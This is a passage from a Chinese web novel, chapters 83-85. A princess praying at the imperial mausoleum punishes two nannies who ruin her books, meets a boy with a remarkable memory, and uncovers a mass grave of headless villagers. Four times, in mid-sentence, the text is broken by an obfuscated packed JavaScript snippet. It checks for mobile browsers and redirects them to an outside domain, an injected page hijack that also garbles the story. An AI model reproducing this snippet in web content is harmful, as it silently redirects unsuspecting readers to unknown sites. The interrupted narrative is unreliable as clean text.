女护卫们齐齐对萧柠行了个军礼,动作干净利落,煞是好看。 鸾音对一个女护卫耳语几句,那个女护卫回了房间,然后拿来一些野菜、菌菇、山笋,对萧柠道:“公主,这是我们从附近找到的食物,给您一些,我们还剩下很多。” 萧柠正准备接过来,谁知庞嬷嬷又隔着窗子大喊:“公主想吃野味,需要自己挖,不能吃别人的。” 萧柠计上心头,对庞嬷嬷道:“我做饭给这些护卫吃,不违反规矩吧?” “这……可以。” “做菜过程中,我总要尝尝咸淡吧,要不然我都不知道做出来好不好吃,这也不违规吧?” “不违规……” “那就行了。我下厨,犒劳这些护卫们。” 说着,萧柠就拿着这些食物进去,做了几个菜。 她一边炒菜,一边吃着。每样菜都只吃了一点,但吃得挺饱的,营养也有了。 给女护卫们的菜,是另外装盘的。 萧柠把那几盘菜端出去,给女护卫们吃。 正好她们也饿了,就放下兵器,坐在一边吃了起来。 庞嬷嬷又探头探脑,但也挑不出萧柠的错来。 —————— 直到睡觉前,萧柠都没有精力读书。 她本以为来了皇陵以后会有很多时间读书,但她错了。时间是有,但祈福结束后太累,她根本打不起精神来。 她安慰自己:“没关系,今天是第一天,以后习惯了,就会更有精神的。” 忽然,她一拍脑袋:“怎么把我的夸夸群忘记了……” 夸夸群现在已经升级,只要她进去聊天,就能恢复全部精力。 今天已经晚了,她决定明天试试。 第二天,萧柠照旧祈福。 结束后,萧柠借口出去逛逛,走得远了一些。 确定没人会听见她说话后,她打开了夸夸群。 【萧柠:三年祈福中……】 【回笼教教主:怎么样啊?是不是很辛苦?】 【萧柠:对,还有两个人一直盯着我,搞得我紧张兮兮的。】 【樱桃小完犊子:那两个人是谁派来的呢?好难猜啊。】 【只涨工资不长肉:好难猜啊。】 【萧柠:哈哈】 【感觉尸体暖暖的:三年时间,你真的坚持得下去?】 【萧柠:还好,我喜欢独处。】 【你已被群主移出群聊:独处不了,还有两个人一直盯着你。】 【萧柠:我劝你善良】 【你已被群主移出群聊:哈哈哈哈】 【樱桃小完犊子:哈哈哈哈】 【回笼教教主:这个祈福真的有用吗?】 【萧柠:有用才怪了,这就是靳贵妃放逐我的阴谋而已】 【有趣的灵魂一百多斤:小柠真是人间清醒】 【回笼教教主:清醒过度皆惆怅,不如一醉解千愁】 【感觉尸体暖暖的:哇靠,诗人】 【回笼教教主:哈哈哈哈】 【萧柠:姐姐们,我需要能量。】 【你已被群主移出群聊:巴啦啦能量,传送——】 【樱桃小完犊子:甜蜜蜜能量,传送——】 【只涨工资不长肉:喜洋洋能量,传送——】 【感觉尸体暖暖的:接。】 【只涨工资不长肉:接个屁,这是给小柠的】 【萧柠:哈哈哈哈】 萧柠关闭群聊后,感觉一点都不累了,就看了一天的书。 接下来的日子,女护卫们时不时地给萧柠送食物,萧柠借口给她们做饭,偷偷吃一些。这样,庞嬷嬷二人既挑不出错来,萧柠也能时不时吃点新鲜的东西。 女护卫们本不想让萧柠这么辛苦,但萧柠说,锅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147025|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺大的,可以一次煮很多食物。既然已经生火,给一个人做菜也是做,给一群人做菜也是做,没什么差别。 萧柠每天都会给大伙做一两个菜。不过由于吃的人多,菜量大,味道不好把控,不算很美味。 好在女护卫们对吃的要求不高,都吃得挺开心的。 萧柠因为给大家做饭,获得了200积分。 这天晚上,萧柠正在吃饭,忽然看见庞嬷嬷走了进来。 她端着一盆水,笑着对萧柠说道:“公主,奴婢热水烧多了,用不完,给您一盆,您可以用来洗漱。” 萧柠有些惊讶,赶紧道谢:“多谢你了。” 萧柠觉得有些奇怪,还没回过神来,没想到庞嬷嬷没端稳,一盆热水全浇到了地上的两个箱子里。 而这两个箱子里装的是书,萧柠刚才开箱找书,忘了把箱子关上,所有书都被打湿了。 萧柠赶紧把书一本一本捡出来,看看有没有损坏。 大部分书的字迹都模糊了,包括申太傅给的那本《西蜀策论集》。 萧柠又惊又怒,喝道:“你在干什么?” 庞嬷嬷赶紧跪下:“大公主恕罪,奴婢是不小心的……” “不小心的?我分明看见你是故意的!赶紧帮我把书拿出来!” 萧柠一边说,一边不停地往外拿书。 可是,庞嬷嬷却为难地跪在一边,道:“来不及了,都粘在一起了。要不算了吧,只是几本书而已……” 庞嬷嬷话还没说完,只听见“啪”的一声,接着自己的脸上火辣辣的。 她有些错愕地看着萧柠,这才意识到她被萧柠打了。 她还没反应过来,已经有几个女护卫听见了动静,跑了过来。 她们刚想问怎么回事,但见到萧柠在往外拿书,立刻明白了抢救书比较要紧,因此也没说什么,直接上前帮萧柠拿书。 有了她们的帮助,所有的书都被拿了出来,摊在地上和桌上。 除了最下面的几本还是完好的,几乎所有的书都有不同程度的损坏,有些书已经一个字都看不清楚了。 萧柠心痛不已,对庞嬷嬷怒目而视。 庞嬷嬷已经站了起来,大声道:“公主这是做什么?奴婢是贵妃娘娘宫里的,还轮不到您来教训!” 萧柠冷笑道:“别拿着鸡毛当令箭了,我是主,你是奴,你故意毁了我的书,我只打你一巴掌,算是便宜你了!贵妃娘娘是明事理的,如果知道了前因后果,也定不轻饶你!” “奴婢明明是不小心的,您怎么能说是故意的?” “我堂堂公主,难道还污蔑你不成?” “公主所言,可有证据?” “我的双眼就是证据!贵妃娘娘只让你们监督我祈福,除此之外,一切事情都需我亲力亲为。烧水的事向来是我自己做,来了这么久了,你们从未给我送过热水,今日突然端热水来,果然不安好心!” “天地良心!奴婢送热水给您,竟成了不安好心?天底下有这样的事吗?” “往日里护卫们稍有帮助我的举动,你和董嬷嬷就来阻止。今天怎么你自己主动帮我烧水?那你也违反了规定,我要把你送回去,我这里留不得你了!” 董嬷嬷走了进来,有些阴阳怪气地说道:“大公主怎么发这么大脾气啊?离此不远就是皇陵,公主也不怕惊扰了祖先?” 83. 夺食(修) 萧柠也给了董嬷嬷一巴掌:“大胆!皇陵里埋葬的都是历朝帝后,你哪来的胆子私下议论他们?” 董嬷嬷自觉失言,赶紧捂着脸跪下。 庞嬷嬷在一边说道:“大公主今日好大的威风,奴婢定会将您今日的举动,如实呈报给皇上。” “呵,你会写密折了不起啊?那你就写吧,写你自己是如何毁坏本公主的藏书,董嬷嬷又是如何对历朝帝后出言不逊。你知不知道,有些书是从文渊阁里借出来的,属于国家财产,就算杀了你都赔不起。” 庞嬷嬷嘴硬道:“那又怎么样?皇上仁慈,还不至于为了几本书要了奴婢的性命。倒是大公主,为了几本书就喊打喊杀的,若是皇上知道了,只怕会大失所望吧。” 萧柠怒极反笑:“你少拿皇上来压我,皇上是本公主的亲生父亲,还轮不到你在这里借他的势!你们两个奴才牙尖嘴利,不守本分,难以担当重任。来人,把她们捆起来,明天送到皇宫里,跟父皇说明原委,让他另派好的嬷嬷过来。” 几个女护卫立刻把庞嬷嬷和董嬷嬷五花大绑。两个嬷嬷还想说什么,女护卫们往她们的嘴里塞了一块布,她们两个就说不出什么话了。 两个嬷嬷被带到了护卫们的房间,看管起来。 萧柠连夜写了一封信,信上把庞嬷嬷毁书的事写清楚了,并说董嬷嬷有同谋之嫌,而且竟敢妄议先帝先后,所以把两位嬷嬷一并送回宫来,请父皇处置。 另外,请父皇从温妃宫里选两位嬷嬷来监督她祈福,因为温妃宫里的下人都谨慎妥帖,断然不会出错。 同时,萧柠还在信中表达了对贵妃的感激,说贵妃派两位嬷嬷照顾她,本是好意,但两位嬷嬷自行其是,犯下大错,辜负贵妃的心意,应当严惩,但请父皇不要迁怒于贵妃。 最后,萧柠表达了对皇帝的思念之情,但为了祈福,她不得不跟皇帝分开。她会照顾好自己,请父皇勿念。 信写好后,萧柠把信交给了鸾音,让她明日把信一并交给皇帝。 第二天,皇帝就看见庞嬷嬷和董嬷嬷在宫门口跪着,几名女护卫押着她们。 鸾音说明了原委,并把萧柠的书信给皇帝看。 皇帝看完信后勃然大怒,吩咐把庞嬷嬷和董嬷嬷各打二十大板,贬入辛者库为奴。 至于庞嬷嬷损坏文渊阁书籍所造成的损失。就从庞嬷嬷的存款和月银里扣。 接着,皇帝对鸾音道:“朕相信公主会认真祈福,就不必派人监督了。请你回去转告公主,让她自己照顾好自己。” 鸾音行礼道:“是。” 很快,女护卫们就回去了。 靳贵妃得知庞嬷嬷和董嬷嬷被送了回来,赶紧到御书房,打算保下这两位嬷嬷。 但她来晚了一步,两位嬷嬷已经受完刑,被带到辛者库了。 靳贵妃又惊又怒,但不敢发作。以前皇帝从来不会用这般雷霆手段处置她宫里的下人。 靳贵妃试探着问道:“皇上,您为何对那两位嬷嬷如此生气?” 皇帝把书信递给她:“你自己看吧。” 看了萧柠的信,靳贵妃有些生气,但又找不到理由发作。因为这封信写得滴水不漏。并没有说靳贵妃的坏话,把一切责任都推到两位嬷嬷身上,并且请求皇帝不要迁怒于靳贵妃。 这样,萧柠既能在皇上面前留下温和懂事的印象,又能处置两位嬷嬷,可谓是一箭双雕。 靳贵妃觉得,自己还是太低估了萧柠。她的手越握越紧,把那封信捏成了一团皱巴巴的纸,仿佛把这张纸当成了萧柠。 接着她马上沉住气,对皇帝笑道:“皇上,既然庞嬷嬷和董嬷嬷不好,嫔妾另外派两位嬷嬷去照顾大公主吧。” “不用了,大公主已经祈福很多天了,每天都没有出错。以后只会越来越熟练,不需要再找人监督了。大公主非常自律,会好好祈福的。” 靳贵妃咬牙道:“是。那是嫔妾多虑了,就依皇上的意思吧。” —————— 皇帝没有再派嬷嬷过来,萧柠过得轻松多了,每天都按部就班地祈福、做家务、吃饭。 只是,她想读书,却不那么方便了。 大部分跟科举有关的书都已经被庞嬷嬷给毁了,剩下的几本没毁的都是无关紧要的闲书。 萧柠有些着急,更多的是心痛。尤其是太傅给她的那本《西蜀策论集》,非常珍贵,但现在也看不了了。 护卫们说可以帮她去买书,但是萧柠所需要的书,大部分都是市面上买不到的。因此,她便婉拒了护卫们的好意。 几天后,草庐里来了一个客人——萧玉蟾。 萧柠见到萧玉蟾,喜出望外,握着她的手,笑道:“玉婵,你怎么来了?” “我来看看你。听说你的书全都被水淹了?” “可不是嘛。” “我给你带了几本书,有些是我自己搜集历朝进士的文章编写的文集,应该对你有帮助。还有几本是前朝文学大家的诗集、文集。” 萧玉蟾端来一个小箱子,打开一看,里面大概有20本书。 她对萧柠说道:“参考书在精不在多。这20本书是我精心挑选的,你把它们研究透了,也就差不多了。 还有,这个小箱子是特制的,有一个机关。你打开之后如果一放手,盖子就会自动合上。这样,这个箱子就一直是关闭的。它的外表防水,就不用担心上次的事再发生了。” 说着,萧玉蟾放了手,这个箱子果然自动盖上了。盖上之后严丝合缝,水泼不进,果真十分安全。 萧柠十分感激,对萧玉蟾道:“玉蟾,谢谢你为我考虑得这么周全。” “公主无需客气,我也希望能帮到你。对了,还有一本书忘记给你了。” 说着,萧玉蟾从自己的包袱里拿出一本书。递给萧柠。 萧柠接过书一看,惊讶地说:“这是……《西蜀策论集》?” “是的。申太傅听说你手上那本《西蜀策论集》被毁了,正好这本书里的内容他都会背。于是,他就把里面的策论重新默写了出来,再加上自己的批注。 他熬了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147026|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个晚上,总算写好了,就把书交给我,让我带给你。 原先的那本《西蜀策论集》里面的注解释本就是太傅自己写的。这次他写的批注更加详细,对你也会更有帮助。” 萧柠翻开看了看,这本书果然比之前的那本更厚。不过上面的字有些潦草,大概是因为申太傅急着把这本书赶出来,写得太快了,字迹自然不如慢慢写来得好看。 不过,字能看清楚就行。 萧柠心中对申太傅十分感激。她对萧玉蟾道:“玉蟾,等你回去了,替我谢谢太傅大人。” “好的,对了,太傅还让我带来一箱宣纸。他说让你有空的时候多练练字。因为进士考试的时候,考生们的水平相差不大。如果字写的比别人好,录取的概率也大一些。 公主现在的字已经写得很漂亮了,但是还不突出,需要用心练几年。” 萧柠道:“好,我记下了。对了,之前你说要议亲,现在怎么样了?” “我父王替我找了几个备选的对象,我选了一个叫瞿明修的闲散文官。 我跟他小时候见过,知道他脾气好,模样好,而且不强势。 婚后他应该也不会对我诸多约束。对我来说,他是一个比较好的选择。我们过几天就要订婚了。” “太好了,恭喜你。” “其实我也想像公主一样,暂时不成亲。但是我没有一个好的拒婚理由,家里又催得紧,所以就只能这样了。” “你既熟知新郎人品样貌,想必婚后一定会幸福的,不必担心。” “嗯。公主,你将来若有机会做官,可千万要拉我一把。我可以做你的副手。我不想一辈子只是生儿育女,操持家务。” “我明白你的志向,放心吧。只要我能闯得出去,就一定会带上你。” 萧玉蟾在这里略坐一坐,就要离开了。她要筹备婚礼,不能离开家太久。 萧柠有了新书,就继续每日苦读,不提。 —————— 这天天气很好,不冷不热,萧柠就约上几个女护卫去外面透透气。 她不能走远,不过草庐后面有一片草地,草地前面有一条河流,坐在草地上吹吹风就不错。 她们每人带着一个小篮子,篮子里面是刚刚做好的食物。 萧柠和几个女护卫们围坐成一圈,一边打叶子牌,一边闲聊。 女护卫们也很喜欢跟萧柠一起玩。因为她们平时的训练非常艰苦,也很少有放松的时候。 就连叶子牌,也是萧柠教她们打的。以前她们在受训的时候,没有太多娱乐活动。 这时,忽然跑来一个十来岁的小男孩,把她们篮子里的食物都抢走了一些。 女护卫们赶紧起来,把那个小男孩抓住了。但是这小男孩一点都不怕,还不停地往嘴里塞食物。 可是他嚼了嚼,又吐了出来。 吐出来之后,他又继续往嘴里塞新的食物。 有个身材瘦弱、包着头巾的中年妇女跑了过来,对那小男孩叫道:“南麟,你不能抢别人的食物!” 84. 天才(修) 但是那个小男孩没有说话,还是不停地重复吃食物、吐食物、再接着吃的过程。 那个中年妇女跑到了萧柠身边,带着几分歉意说道:“真对不起,我的孩子不太正常,所以才会抢你们的食物。请你们不要跟他计较,我赔钱给你们。” 萧柠道:“没关系,不用赔钱,这些吃的不值什么钱。但是他为什么不咽下去,而是吐出来?” “他从小就这样,我也不知道为什么。他只有在很饿的时候才会把食物吃掉,不饿的时候他也会找食物吃,但是嚼一嚼就吐了。 我和我丈夫花了很大的精力,都没有把他的这个习惯给改过来。我们也很头疼,不知道该怎么办。” “这样啊……” 萧柠有些同情这个中年妇女和孩子。 “是的……”中年妇女指了指那男孩的脑袋,说,“我的孩子……他这里有点问题。” 萧柠蹲下来,对那个男孩说道:“你不能浪费食物,知道吗?如果你不饿,就不要吃。” 然而,这个小男孩嘻嘻地笑着,又继续吐食物。 中年妇女有些无奈地把小男孩拉过去,打了一下他的手:“叫你别乱吐,你不听……” 萧柠劝阻道:“算了,他既然听不懂,打他也没用。” 萧柠本以为这小男孩是个傻子,可是看这小男孩的面相,却一点也不傻,反而很有灵气。尤其是他那一双眼睛,特别好看。 萧柠问道:“你的孩子得了什么病啊?可有请大夫看过?” 中年妇女答道:“不知道是什么病,大概就是呆傻吧。请了很多大夫看过,但是都说治不好。” “他看起来可不像傻子。” “是啊,只是不挂相。但是他有很多奇怪的行为,比如拿着一样东西跑来跑去不肯停,或是不停地洗手,或者一直转圈。还有像方才那样,不停地嚼碎食物再往外吐。” “他这般不正常,您可真是辛苦了。” “没办法,谁让他是我的孩子呢。” 萧柠看她们身上的衣服布料,好像是朝廷给看守皇陵的士兵们发的,便问道:“你们是守陵士兵的亲人吗?” “是的,我丈夫是守陵士兵,我和儿子跟他一起住。我们就住在前面的守陵村里。” 守陵士兵大概有八百人,他们的家人大部分都跟他们一起住,所以形成了一个村落,称作守陵村。 守陵士兵有很多福利,比如不需要耕种,朝廷会给他们发放俸禄、米粮、蔬菜、布匹等生活所需之物。 不过,他们要一辈子看守皇陵,也挺枯燥的。 如果他们的孩子武功比较高,也可以继承守陵人的工作,只要孩子愿意。 不过,有一些孩子不愿意一辈子困在皇陵,所以不会子承父业。对于一些没什么追求、或是很难谋生的后代来说,守陵人倒是一份不错的保底工作。 只是,眼前这个孩子不太正常,肯定也没法习武,将来连守陵人都做不了,也难怪他的母亲如此忧愁了。 萧柠问道:“你们叫什么名字?” “这孩子叫郭南麟,民妇姓向。不知几位姑娘是什么身份?” “我是大公主,来此祈福的,需要住三年,这些都是我的护卫。” 向氏赶紧带着孩子对萧柠磕头,萧柠扶他们起来,道:“不必多礼。向大姐,你带着这个孩子应该挺艰难的,我这里有一些银两,你收下吧。” “不用了,朝廷发的银两够用。” “那也可以给你自己补补,你看着比同龄妇女憔悴许多。快收下吧。” 萧柠坚持给了50两银子,向氏只好收下了。 系统给萧柠结算了100积分。 萧柠对向氏道:“向大姐,守陵村离此不远,你有空可以经常带孩子过来玩,我住在这里也挺闷的。” 向氏有些犹豫:“可是……我怕孩子闯祸。” “他不会撕书吧?” “不会。” “那就行,尽管带来吧。” 第二天,萧柠祈福完毕,在院子里溜达。20名女护卫也在院子里练武。 萧柠驻足观看了一会儿。 这时,向氏带着孩子郭南麟来了,手里还提着一个大食盒。 向氏对萧柠说道:“公主,昨天我的孩子拿了你们的食物,我特意做了一些糕点,还给你们。” 萧柠笑道:“您太客气了。” 向氏摸了摸孩子的头,对他说道:“你把这些糕点分给公主和这些护卫姐姐。” 郭南麟接过食盒,给萧柠分了一些糕点。 接着,他看了看那群女护卫,然后把剩下的糕点分给了其中四个。 这四个护卫,刚好是昨天跟萧柠一起在外面玩的。 萧柠笑着问郭南麟:“南麟,你怎么只分给这四个姐姐糕点?” 郭南麟道:“昨天只拿了公主和这四个姐姐的食物,其他姐姐没见过。” 萧柠有些惊讶,因为这20名护卫穿着一样的衣服,身高体型也都差不多,有几名护卫长得还很相似。 但是郭南麟只见了她们一面就能分辨出来。 萧柠问向氏:“这孩子记忆力很好吗?” 向氏答道:“好像是的。但是他只记自己想记的东西。我们教他知识,他都不学。” “他识字吗?” “不太识字,他每天就知道疯玩。” 萧柠决定再测试一下这孩子。 她拿了10本书出来,依次摆开,对郭南麟道:“南麟,你看一眼这些书。” 郭南麟便看了一眼。 接着,萧柠把这10本书都收起来,堆成一叠。 她看向郭南麟:“南麟,你能不能把这10本书按照刚才的次序摆放好?” 郭南麟点了点头,把那10本书拿过来,翻来覆去地看了看,接着就把它们依次摆开。 他摆的顺序跟萧柠刚才摆的顺序是一样的。 这10本书的外表都差不多,只有书名不一样。 萧柠问:“你认识这10本书上的书名?” 郭南麟摇头。 “那你是怎么摆放出来的?” “每本书的书名,形状不一样。” “你是说,字的形状不同?” “对。” “你能写出这些字吗?” 郭南麟看了一眼书名,拿了根树枝在泥土里照着写。 不过,他更像是在画画,每一笔都落在想不到的地方。 他写的字也像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147027|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画,线条歪歪扭扭的,能看出写的是什么字,但也能看出他真的不认识这些字。 萧柠笑道:“好了,不用写了。” 她对向氏说道:“向大姐,我觉得南麟记忆力异于常人,也许可以为我所用。等我祈福期满,把南麟带到公主府上做事怎么样?” 向氏喜出望外:“公主的意思是,您要让南麟在公主府干活?但是他心智不全,恐怕不仅不能干活,还会捣乱。” “我不会让他干普通的活,他平时就在公主府里玩,等我有需要时他再帮我就行。他是一个特殊的人才,我会用特殊的方法对待。” “那太好了,只是这孩子不能离开人。如果让他一个人住,不知道会闯出什么祸来。” “那就你们母子跟我一起回去,你负责照顾他,他帮我做一些特殊的任务,怎么样?” “多谢公主。我正发愁这孩子文不成武不就的,将来怕是要养他一辈子,没想到还有这样的际遇。公主再造之恩,民妇一家都没齿难忘。” “不必客气,三年内我都不会离开,你们可以常来玩。” —————— 这天,萧柠正在屋内看书,忽然听见外面有个女护卫说道:“南麟,你怎么把花都摘光了?” 萧柠走出去一看,发现郭南麟来了。他手上拿着好几朵小花,这些花是从地上的盆栽里摘下来的。 而这些盆栽是这个女护卫这些天刚买的,用来布置庭院。 现在,这些盆栽被郭南麟扯得七零八落的,没有一盆完好的了。 女护卫对萧柠说道:“公主,您看看他……” 萧柠哭笑不得,对郭南麟道:“南麟,你摘这些花干什么?” 郭南麟捧着花朵,开心地笑道:“花,好看。” “你不能随便摘花,知道吗?要先问问这些花有没有主人。” “嘻嘻嘻……” 郭南麟一边笑,一边开心地来回跑,也不知道有没有听懂萧柠的话。 萧柠拽住他,问道:“你娘呢?” “娘……在家……” “你一个人来的?” “对。” “你怎么知道到我这里的路?” “前几天来过。” 守陵村虽然离萧柠的住所不远,但道路弯弯曲曲的,要过好几个岔路口,没想到郭南麟走过一次就记得了。 萧柠摸了摸他的头,笑道:“你很棒,不过出门要记得跟你娘说。你刚才损坏了这个姐姐的盆栽,我们去外面给她摘几株漂亮的鲜花,重新种回盆栽里,好不好?” 郭南麟没有回答,只是飞快地往外跑去。 萧柠赶紧叫上几个女护卫,跟自己一起去追他。 好不容易追上了他,萧柠拽住他的胳膊,问道:“你要去哪里?” “摘花。” “你知道哪里有好看的花?” 郭南麟点了点头,挣脱了萧柠,继续往外跑。萧柠等人只得跟上。 没过多久,郭南麟在一片土堆前面停了下来。他看着那个土堆,好像在沉思。 土堆旁边有一块墓碑,上面写着:“大石村全体村民之墓。” 这应该是一个坟堆,大石村的村民不知道为何全都死了,被埋在一起。 85. 人头(修) 萧柠问道:“这个村庄的村民全死了?怎么回事?” 一个女护卫道:“我听说前阵子这里闹土匪,他们杀了一些百姓,抢走财物。靳衡将军带兵剿匪,把土匪杀光之后,又把所有死了的村民埋了。这个大石村的村民应该就是被土匪杀死的百姓吧。” “原来如此。” 靳衡将军就是靳贵妃的兄长,深得皇帝信任。 萧柠看了一圈,见这里没什么鲜花,便对郭南麟道:“南麟,这里没有花,我们回去吧。” 郭南麟却说:“有花。” “花在哪里?” 郭南麟指着坟墓的东边,说:“以前这里有花。” 然而,他指的地方全是泥土和石块,十分荒芜。 萧柠道:“以前有花,现在没有了,我们去别处找花去。” “一个月前还有,有一大片,粉色的。” “兴许是被人拔光了,我们走吧。” “不走。拔不光。” “怎么会拔不光呢?就算有再多的花,只要一直拔下去,总会拔光的。” “没有痕迹,古怪。” “你的意思是,如果花被拔光了,会留下痕迹?” 郭南麟点了点头。 萧柠觉得郭南麟说的有道理。一般的路人看见花,也只会摘几朵,不会全部摘光。 而把所有的花都连根拔起,就更奇怪了。 萧柠仔细看了东边的土地,发现这里确实没有鲜花生长过的痕迹。 这时,有个农夫路过,萧柠把他拦住,问道:“请问这位大叔,这里之前有没有野花?” “好像有吧。是粉色的野花,有一大片呢。不知道怎么没了。” “是什么时候没有的?” “不知道。自从这一带闹土匪,我已经很久没有走这条路了。后来土匪被灭了,我才敢走。我大概是十天前开始走这条路的,那时候就已经没花了。” “好,谢谢你啊。” 农夫走后,萧柠发现郭南麟在挖坟堆。 萧柠赶紧制止他:“南麟,你不能挖坟!” 郭南麟道:“花在下面。” “花不会在坟堆里的,你起来。” 萧柠觉得有些好笑。郭南麟大概认为花既然不在地面上,那肯定在地底下。 也只有他会这么想,倒挺可爱的。 萧柠和女护卫们把郭南麟带了回去,正好向氏来找他了。 向氏见到郭南麟,又是惊喜,又是后怕,道:“你这孩子,怎么一声不吭的就跑到这儿来了?还好没丢了,要不然娘可急死了。” 郭南麟只是嘻嘻的笑着,叫人生不起气。 向氏问萧柠:“公主,这孩子没给您添麻烦吧?” “没有,今天他自己找到这来的,竟然没找错地方,太厉害了。刚才我们带他出去玩了一下,你把他带回家吧。” “好的。” 晚上,萧柠睡得正香,忽然听见外面有动静。 她本来不想理会,因为晚上也有女护卫在巡逻,应该不会有事。 这时,她却听见女护卫在门外叫她。 于是,萧柠便穿好衣服,走了出去,问道:“怎么回事?” 女护卫指着前面,说道:“公主,你看南麟……” 萧柠这才发现,郭南麟又来了。他拿着一个铁锹,铁锹上面有很多泥土。 他神情有些呆呆的,似乎受了惊吓。 女护卫道:“刚才我们发现南麟来了,跟他说话,他却不回应,也不知道怎么了……” 萧柠对郭南麟道:“南麟,你大晚上跑出来干什么?你拿着铁锹干什么去了?挖土去了吗?你爹娘知道你跑出来了吗?” 然而已不管萧柠怎么问,郭南麟都不说话。 接着,郭南麟拽住萧柠的胳膊,拖着她往外走。 “南麟,你要带我去哪儿?” 郭南麟还是不说话。 萧柠赶紧示意女护卫们跟上。 只见郭南麟一路往外走的走的竟是白天走过的那条路。 没过多久,他们就来到了白天的坟堆附近。 萧柠问道:“你带我们来这里干什么?” 郭南麟不语,只是指了指前面。 这时,萧柠发现前面的坟堆竟然被挖开了一点,露出了半具尸体。 萧柠吓了一跳,赶紧走过去看,发现这半具尸体竟然没有头。 这尸体的下半部分还埋在土里,露出来的上半部分十分可怕。 萧柠往后退了几步,才稳住心神。 萧柠看见郭南麟背着铁锹,铁锹上面还有土,便问道:“南麟,是你把这半具尸体挖出来的吗?” 郭南麟点了点头:“我想找花。” 看来,郭南麟还是认为鲜花被埋在土里,所以他才大半夜偷偷来挖坟。 郭南麟从翻开来的泥土里拿出一个东西,说道:“找到了。” 他拿的东西是一朵野花的根部,上面的部分已经没有了。 然而,此刻大家的心思都不在这上面。 鸾音问道:“公主,要不要把这半具尸体埋回去?” 萧柠摇头:“等一下。这这具尸体为什么会没有头呢?” “他们是被土匪杀死的,也许有些百姓的头被土匪给割下来了。” 萧柠觉得有些不对。她把郭南麟的铁锹拿过来,接着往下挖。 过了一会儿,她又挖出两具尸体,而这两具尸体也是没有头的。 这下,众人皆觉得有些惊悚。 萧柠对一个女护卫吩咐道:“你把南麟带到一边去,别让他看,免得吓坏了他。” 可是,郭南麟却不愿意走,而是继续蹲下来,在翻开的泥土里寻找着什么。 过了一会儿,他又找到一些野花的根茎,拿给萧柠看。 “花在土里面。” 萧柠对他说道:“好,我们知道花在土里面了。你现在到旁边去玩一下,好不好?” 一个女护卫把郭南麟抱得远远的,郭南麟在那边玩,也没有跑回来。 萧柠对女护卫们说道:“你们先回去找更多的工具来,我们把这整个坟堆都挖出来看看。” “公主,这样会不会不太好?说不定这些百姓的头都在最下面呢。” “如果你来埋葬百姓的尸体,会把头放在最下面吗?” “好像不会,我要么把头给他缝上,要么就把头放在身体的旁边。” “事出反常必有妖,说不定这些百姓的头根本就不在坟堆里面。” 女护卫们都觉得事关重大,因此有几名女护卫回去拿工具了。 她们的住所旁边有一些肥沃的土壤,大家本来打算种一点蔬菜粮食的,所以买了一些翻土的工具,还没用上。没想到第一次使用是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147028|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的场合。 现在留在萧柠身边的只有鸾音、绿袖、飞鹰三名护卫。 飞鹰说道:“公主,把铁锹给我,我来挖吧,您在旁边休息一下。” 萧柠正好有些累了,便把铁锹给了飞鹰。 飞鹰力气大,几铲子下去,又挖出几具无头尸体。 鸾音道:“公主,该不会这里埋着的村民都是没有头的吧?” 萧柠皱眉:“我觉得很有可能。” “土匪杀人是正常的,但为什么要把这些百姓的头全砍下来?” “我也不知道。” 绿袖道:“可能是土匪觉得,把头砍掉死得透彻一点,没有复活的可能。” 鸾音看了看尸体,道:“不对。如果土匪只想把人彻底杀死,那直接砍头是有可能的。 但这些尸体身上都有好几处致命伤,土匪砍了他们的头之后,没必要再多此一举砍他们的身体。 如果土匪是先砍的身体,身体已经受了致命伤了,就没必要把头也砍掉。 无论怎么推断,似乎都不合理。 而且,头不是那么好砍的,直刺心脏容易多了。 土匪最终目的是求财,而不是把百姓砍得七零八落的。他们抢钱的时候,只要保证百姓们失去反抗能力就行了。花太多时间砍他们,反而会耽误逃跑。” 鸾音的分析很有道理,萧柠很佩服她。金吾卫大将军特意培养出来的女护卫,果然有勇有谋,比普通士兵强多了。 过了一会,去拿工具的女护卫们也回来了。 她们都有轻功,所以往返只需要一点时间。 众人齐心协力地掘坟,大约半个时辰后,就把坟全都挖开了。 